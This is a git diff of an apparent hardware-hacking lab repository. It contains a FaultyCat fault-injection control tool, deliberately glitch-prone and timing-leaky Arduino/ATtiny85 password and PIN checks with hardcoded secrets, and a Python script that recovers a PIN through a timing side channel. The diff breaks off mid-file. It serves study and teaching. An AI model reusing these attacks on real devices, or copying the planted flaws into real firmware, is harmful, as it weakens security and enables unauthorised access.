diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc new file mode 100644 index 0000000..f503922 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc new file mode 100644 index 0000000..b36d3c6 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc new file mode 100644 index 0000000..34c38f2 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc new file mode 100644 index 0000000..a34e25d --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..127e108 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py new file mode 100644 index 0000000..3831eec --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py @@ -0,0 +1,133 @@ +import typer +import platform +import signal +import threading +import sys +from rich.console import Console +from rich.table import Table + +from Modules import CmdInterface +from Modules.CmdInterface import is_valid_number +from Modules import Worker + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + + +app = typer.Typer( + name="FaultyCat", + help="Script to control the FaultyCat and launch faulty attacks.", + add_completion=False, + no_args_is_help=True, +) + +faulty_worker = Worker.FaultyWorker() +workers = [] + + +def signal_handler(sig, frame): + print("You pressed Ctrl+C!") + faulty_worker.stop_workers() + for work in workers: + work.join() + sys.exit(0) + + +@app.command("config") +def config(): + """Get the current configuration of the FaultyCat.""" + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + + Console().print(table_config) + + +@app.command("devices") +def devices(): + """Get the list of available devices.""" + table_devices = Table(title="Available devices") + table_devices.add_column("Device", style="cyan") + table_devices.add_column("Description", style="magenta") + for device in faulty_worker.board_uart.get_serial_ports(): + table_devices.add_row(f"{device.device}", f"{device.description}") + + Console().print(table_devices) + + +@app.command("fault") +def faulty( + comport: str = typer.Argument( + default=DEFAULT_COMPORT, + help="Serial port to use for uploading.", + ), + pulse_count: int = typer.Option( + 1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True + ), + pulse_timeout: float = typer.Option( + 1.0, + "--pulse-timeout", + "-t", + help="Time in seconds between pulses.", + show_default=True, + ), + cmd: bool = typer.Option( + False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True + ), +): + """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks.""" + typer.echo("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row("Serial port", f"{comport}") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + table_config.add_row("Pulse count", f"{pulse_count}") + table_config.add_row("Pulse timeout", f"{pulse_timeout}") + + Console().print(table_config) + + faulty_worker.set_serial_port(comport) + + if cmd: + CmdInterface.CMDInterface(faulty_worker).cmdloop() + return + + if not faulty_worker.validate_serial_connection(): + typer.secho( + f"FaultyCMD could not stablish connection withe the board on: {comport}.", + fg=typer.colors.RED, + ) + return + + faulty_worker.set_pulse_count(is_valid_number(pulse_count)) + faulty_worker.set_pulse_time(is_valid_number(pulse_timeout)) + + faulty_worker.start_faulty_attack() + + +if __name__ == "__main__": + print( + """\x1b[36;1m +.@@@%@*%+ -@@+ #@@: @@% =@@@@%- %@% %+ @= | +.@@-.-.#@+=@@* %@@- .@@@.@@%:@@@ @@@ %+ :+++- @*+++- | FaultyCat v0.0.1 +.@*.=.+@@:=@@* %@@- .@@@.@@% @@@ @@@ %+ #%:.:## @%:.:## | by JahazielLem +.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+ @+ =@.@+ =@. | Company: PWNLabs - Electronics Cats +%@% :#@@@%*#@@@%+ %@* :#@@@#: =%#**=.*####@..*####: | +\x1b[0m""" + ) + signal.signal(signal.SIGINT, signal_handler) + app() diff --git a/FaultInjection/prereqs/FaultyCat/requirements.txt b/FaultInjection/prereqs/FaultyCat/requirements.txt new file mode 100644 index 0000000..5ffdc64 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/requirements.txt @@ -0,0 +1,9 @@ +click==8.1.7 +colorama +markdown-it-py +mdurl +Pygments==2.17.2 +pyserial +rich==13.7.0 +typer==0.9.0 +typing_extensions diff --git a/README.md b/README.md deleted file mode 100644 index 5ca94a8..0000000 --- a/README.md +++ /dev/null @@ -1,4 +0,0 @@ -Hardware -=============== - -A place for me to store my hardware experiments and scripts and useful tidbits \ No newline at end of file diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit.ino b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino new file mode 100644 index 0000000..53839d4 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino @@ -0,0 +1,103 @@ +#include <avr/sleep.h> +#include <avr/interrupt.h> +#include <SoftwareSerial.h> + +const int rx = 1; // for serial input +const int tx = 4; // pin 5 for serial.print() +SoftwareSerial Serial(rx, tx); // rx, tx pins + +int rgLed = 2; // red/green LED pin +int button = 3; // buttons pin +int buttonValue; // Stores analog value when button is pressed + +String ourCode = "1324"; // Set the required PIN code. +String currentCode = ""; // Stores entered code + +void setup() { + pinMode(rgLed, INPUT); + pinMode(rx, INPUT); // setup and print to serial + pinMode(tx, OUTPUT); + Serial.begin(9600); + Serial.println("Running"); + + red(500); + green(500); +} + +#pragma GCC push_options +#pragma GCC optimize ("O0") // Disable optimisations + +void addkey(String keyPressed) { + currentCode += keyPressed; + Serial.println("Entered so far: " + currentCode); + + if (currentCode.length() == ourCode.length()) { + Serial.print("Checking: "); + volatile bool correct = true; + + for (int i = 0; i < ourCode.length(); i++) { + if (currentCode[i] != ourCode[i]) { + correct = false; + break; + } + + do_login(); + } + + if (correct) { + Serial.println("correct"); + green(500); + delay(500); + green(500); + delay(500); + green(500); + } else { + Serial.println("failed"); + red(500); + } + currentCode = ""; // Reset the entered code + } +} + +#pragma GCC pop_options + +void green(int del) { // turn on green LED for delay() + pinMode(rgLed, OUTPUT); + analogWrite(rgLed, HIGH); + delay(del); + pinMode(rgLed, INPUT); +} + +void red(int del) { // turn on red LED for delay() + pinMode(rgLed, OUTPUT); + analogWrite(rgLed, 255); + delay(del); + pinMode(rgLed, INPUT); +} + +void do_login(){ + delay(5); +} + +void loop() { + buttonValue = analogRead(button); // Read analog value from A0 pin + + if (buttonValue >= 1015 && buttonValue <= 1030) { // For 1st button: + addkey("1"); + } else if (buttonValue >= 1000 && buttonValue <= 1014) { // For 2nd button: + addkey("2"); + } else if (buttonValue >= 950 && buttonValue <= 999) { // For 3rd button: + addkey("3"); + } else if (buttonValue >= 870 && buttonValue <= 950) { // For 4th button: + addkey("4"); + } + + if (Serial.available()) { // Check if data is available from Serial input + char key = Serial.read(); // Read the character + if (key >= '1' && key <= '4') { // Ensure input is a valid key + addkey(String(key)); + } + } + + delay(100); +} diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py new file mode 100644 index 0000000..e01eeb2 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py @@ -0,0 +1,115 @@ +import serial +import time + +# Constants +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 +PREFIX = "" +ATTEMPTS = 3 +DELAY = 0.8 +KEYSPACE = ["1", "2", "3", "4"] +LENGTH = 4 + +def get_response_time(serial_port, message): + """ + Function to send message, wait for response, and measure response time. + """ + # Flush the input buffer to clear any leftover data + serial_port.flushInput() + + first_line_received = False + + # Send each character in the message with a delay + for i, char in enumerate(message): + time.sleep(DELAY) # Delay before sending the character + serial_port.write(char.encode()) # Send one character at a time + #print(f"sending: {char}") + if i < len(message)-1: + #print(f"reading") + raw_response = serial_port.readline() + + # After sending all characters, we will read until we get the first line (complete response) + raw_response = b'' # Initialize the response variable + + while True: + byte = serial_port.read(1) # Read one byte at a time + if byte: + if byte == b'\n' and not first_line_received: + first_line_received = True # The first line has been received + # Do not start timing yet; we need to wait for the next line after the first one + elif first_line_received: + # Start measuring response time after the first line is fully received + start_time = time.time() + break # We begin timing here, immediately after the first line has been read + + final_response = serial_port.readline().decode(errors='ignore').strip() + # Now read the rest of the response and stop when the second newline is encountered + #final_response = raw_response.decode(errors='ignore').strip() # Decode the response + + # Measure the time taken for the second line (after the first) + response_time = time.time() - start_time + + # Debug message to show what was sent, received, and the response time + print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True) + + time.sleep(DELAY) + return final_response, response_time + +def calculate_average_response_time(serial_port, message): + """ + Calculate average response time over multiple attempts. + """ + total_time = 0 + response_times = [] + + # Try multiple attempts to get the average response time + for _ in range(ATTEMPTS): + response, response_time = get_response_time(serial_port, message) + total_time += response_time + response_times.append(response_time) + + average_time = total_time / ATTEMPTS + print(f"\r{message} average: {average_time:.4f} seconds ", flush=True) + return average_time, response_times + +def identify_sequence(serial_port): + """ + Identify the complete sequence of characters by sending test sequences. + """ + prefix = "" + + # Loop over all positions in the sequence (length 4 in this case) + for pos in range(LENGTH): + slowest_avg = float('-inf') # Initialize with the smallest possible number to track the largest value + best_digit = None + + # Try each character in the keyspace for this position + for key in KEYSPACE: + # Build message for this position + message = prefix + key + key * (LENGTH - len(prefix) - 1) + print(f"Testing: {message}", end='', flush=True) + + # Get the average response time for this message + avg_time, _ = calculate_average_response_time(serial_port, message) + + # Track the slowest (highest average response time) + if avg_time > slowest_avg: # Modify comparison to choose the longest time + slowest_avg = avg_time + best_digit = key + + # Append the best digit found to the prefix + prefix += best_digit + print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)") + + return prefix + +def main(): + # Open the serial port + with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port: + print(f"Starting sequence identification on port {SERIAL_PORT}...") + sequence = identify_sequence(serial_port) + print(f"Identified sequence: {sequence}") + +if __name__ == '__main__': + main() + diff --git a/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg b/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg new file mode 100644 index 0000000..7db7b86 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg Binary files differ diff --git a/SideChannel/ATtiny85_Timing_Attack/multi_digit.ino b/SideChannel/ATtiny85_Timing_Attack/multi_digit.ino new file mode 100644 index 0000000..9c3d205 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/multi_digit.ino @@ -0,0 +1,125 @@ +#include <avr/sleep.h> +#include <avr/interrupt.h> +#include <SoftwareSerial.h> + +const int rx = 1; // for serial input +const int tx = 4; // pin 5 for serial.print() +SoftwareSerial Serial(rx, tx); // rx, tx pins + +int rgLed = 2; // red/green LED pin +int button = 3; // buttons pin +int buttonValue; // Stores analog value when button is pressed + +String ourCode = ""; // Set the required PIN code. +String currentCode = ""; // Stores entered code + +void generateRandomPin() { + + ourCode = ""; // ensure is empty + + // Use multiple entropy sources for the random seed + int pinSeed = analogRead(0) + analogRead(1); // Read from pin 0 and pin 1 for more randomness + unsigned long combinedSeed = pinSeed + random(100, 200); // Combine them all + randomSeed(combinedSeed); // Seed the random number generator with the combined value + + int pinLength = random(4, 9); // Random length between 4 and 8 + for (int i = 0; i < pinLength; i++) { + ourCode += String(random(1, 5)); // Random number between 1 and 4 (inclusive) + } + Serial.println("Generated PIN: " + ourCode); // Display the generated PIN for debugging +} + +void setup() { + pinMode(rgLed, INPUT); + pinMode(rx, INPUT); // setup and print to serial + pinMode(tx, OUTPUT); + Serial.begin(9600); + Serial.println("Running"); + delay(500); + generateRandomPin(); + red(500); + green(500); +} + +#pragma GCC push_options +#pragma GCC optimize ("O0") // Disable optimisations + +void addkey(String keyPressed) { + currentCode += keyPressed; + Serial.print("Added: "); + Serial.println(currentCode); + + if (currentCode.length() == ourCode.length()) { + Serial.print("Checking: "); + volatile bool correct = true; + + for (int i = 0; i < ourCode.length(); i++) { + if (currentCode[i] != ourCode[i]) { + correct = false; + break; + } + + do_login(); + } + + if (correct) { + Serial.println("correct"); + green(500); + delay(500); + green(500); + delay(500); + green(500); + } else { + Serial.println("failed"); + red(500); + } + currentCode = ""; // Reset the entered code + } +} + +#pragma GCC pop_options + +void green(int del) { // turn on green LED for delay() + pinMode(rgLed, OUTPUT); + analogWrite(rgLed, HIGH); + delay(del); + pinMode(rgLed, INPUT); +} + +void red(int del) { // turn on red LED for delay() + pinMode(rgLed, OUTPUT); + analogWrite(rgLed, 255); + delay(del); + pinMode(rgLed, INPUT); +} + +void do_login(){ + delay(10); +} + +void loop() { + buttonValue = analogRead(button); // Read analog value from A0 pin + if (buttonValue > 100){ + Serial.println("Button analog value: " + String(buttonValue)); // Print button value + } + + if (buttonValue >= 1011 && buttonValue <= 1030) { // For 1st button: + addkey("1"); + } else if (buttonValue >= 1000 && buttonValue <= 1010) { // For 2nd button: + addkey("2"); + } else if (buttonValue >= 950 && buttonValue <= 999) { // For 3rd button: + addkey("3"); + } else if (buttonValue >= 870 && buttonValue <= 950) { // For 4th button: + addkey("4"); + } + + if (Serial.available()) { // Check if data is available from Serial input + delay(10); + char key = Serial.read(); // Read the character + if (key >= '1' && key <= '4') { // Ensure input is a valid key + addkey(String(key)); + } + } + + delay(100); +} diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = 